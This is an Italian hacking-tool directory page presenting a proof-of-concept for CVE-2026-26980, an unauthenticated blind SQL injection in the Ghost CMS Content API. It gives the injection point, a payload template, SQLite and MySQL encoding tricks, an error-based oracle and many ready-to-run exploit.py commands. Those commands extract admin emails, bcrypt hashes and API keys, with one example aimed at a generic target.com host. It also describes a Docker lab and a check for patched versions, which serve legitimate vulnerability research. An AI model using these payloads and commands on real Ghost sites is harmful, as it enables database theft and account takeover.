Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-26980-PoC — Iniezione SQL cieca nell'API dei contenuti di Ghost CMS | Kitploit
Strumenti/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingSicurezza dei DatabaseLab e Pratica
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

Iniezione SQL cieca nell'API dei contenuti di Ghost CMS

Vedi Repository
11 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-26980 — Ghost CMS Content API Blind SQL Injection

Affetti: Ghost 3.24.0 – 6.19.0
Corretto in: Ghost 6.19.1
Autenticazione richiesta: Nessuna — la chiave dell'API Content è pubblica
Impatto: Lettura non autenticata dell'intero database (credenziali, chiavi API)


Vulnerabilità

slug-filter-order.js inserisce direttamente i valori slug forniti dall'utente in una clausola ORDER BY SQL grezza invece di utilizzare binding parametrizzati.

root@kitploit:~
// VULNERABILE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ interpolazione stringa grezza

// CORRETTO — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

Punto di iniezione:

root@kitploit:~
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<ancora>]

Template del payload:

root@kitploit:~
slug:['||<SQL_EXPR>||',<ancora-slug>]

Oracolo

L'espressione iniettata funge da oracolo booleano basato su errori.

Vincoli NQL: l'espressione SQL all'interno delle parentesi non deve contenere apici singoli (') o virgole (,):

ProblemaSoluzione SQLiteSoluzione MySQL
Stringa letterale 'content'CHAR(99)||CHAR(111)||...0x636F6E74656E74
Carattere alla posizione NConfronto di stringhe basato su prefissoASCII(SUBSTR(x FROM N FOR 1))

|| è concatenazione di stringhe in SQLite ma OR logico in MySQL — le stringhe letterali devono essere codificate diversamente per ogni motore.


Utilizzo

root@kitploit:~
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [flag dati] [opzioni]

Obbligatorio:
  --url URL       URL base di Ghost (es. http://localhost:2368)
  --key KEY       Chiave dell'API Content

Opzionale:
  --slug SLUG     Slug di ancoraggio (rilevato automaticamente dall'API se omesso)
  --dbms {auto,sqlite,mysql}   Motore DB (default: auto-rilevamento)
  --delay N       Secondi tra le richieste — per evitare HTTP 429 (default: 0)
  --proxy URL     Proxy HTTP (es. http://127.0.0.1:8080) (default: nessuno)
  --validate-fix  Testa se il target è corretto, poi esce

Flag dati (almeno uno richiesto):
  --email         Email degli utenti
  --hash          Hash bcrypt degli utenti
  --content-key   Chiavi dell'API Content
  --admin-key     Chiavi dell'API Admin
  --all           Scorciatoia per --email --hash --content-key --admin-key

Modificatore:
  --all-records   Estrai TUTTI i record per il/i flag selezionato/i invece del solo primo

Esempi

root@kitploit:~
# Estrai prima email admin + hash (nessun proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --email --hash --no-proxy

# Estrai tutto, primo record ciascuno
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --no-proxy

# Estrai tutte le chiavi dell'API Content
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --content-key --all-records

# Estrai TUTTI i record di TUTTI i tipi di dati
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --all-records

# Instradamento attraverso proxy Burp
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --proxy http://127.0.0.1:8080

# Forza motore MySQL, aggiungi ritardo per evitare limitazione di velocità
python3 exploit/exploit.py \
  --url http://target.com \
  --key <content_api_key> \
  --all --dbms mysql --delay 0.5

# Verifica che la versione corretta non sia sfruttabile
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <content_api_key> \
  --validate-fix

Limitazione della velocità (HTTP 429)

Ghost limita per impostazione predefinita le richieste all'API Content. Opzioni:

  1. Passare --delay 0.5 per aggiungere un ritardo tra le richieste
  2. Impostare API_RATE_LIMIT_ENABLED: "false" nell'ambiente di docker-compose e riavviare

Riferimenti

  • Avviso di sicurezza di Ghost: GHSA-w52v-v783-gw97
  • NVD: CVE-2026-26980
  • Diff della correzione: slug-filter-order.js in Ghost 6.18.0 → 6.19.1

Setup di laboratorio

Solo per riferimento — salta se hai già un'istanza vulnerabile di Ghost.

Requisiti

  • Docker + Docker Compose
  • Python 3.9+ con pip install requests

Struttura delle directory

root@kitploit:~
ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (default)
├── mysql-init/
│   └── 01-init.sql             # crea DB ghost_patch, concede accesso
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

Entrambi i file compose espongono:

  • http://localhost:2368 — vulnerabile (Ghost 6.18.0)
  • http://localhost:2369 — corretto (Ghost 6.19.1)

Avvio con SQLite

root@kitploit:~
docker compose -f sqlite_docker-compose.yml up -d

Avvio con MySQL

root@kitploit:~
docker compose -f mysql_docker-compose.yml up -d

Credenziali MySQL: host=localhost:3306 user=ghost password=ghostpass
Database: ghost_vuln (porta 2368) / ghost_patch (porta 2369)

Configurazione iniziale

Attendi circa 60 secondi per l'inizializzazione di Ghost, poi:

  1. Vai su http://localhost:2368/ghost — crea un account amministratore e pubblica almeno un post
  2. Copia la chiave dell'API Content da Ghost Admin → Impostazioni → Integrazioni

Reset del laboratorio

root@kitploit:~
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
Scarica lo strumento
MotoreTRUEFALSE
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) overflow → HTTP 500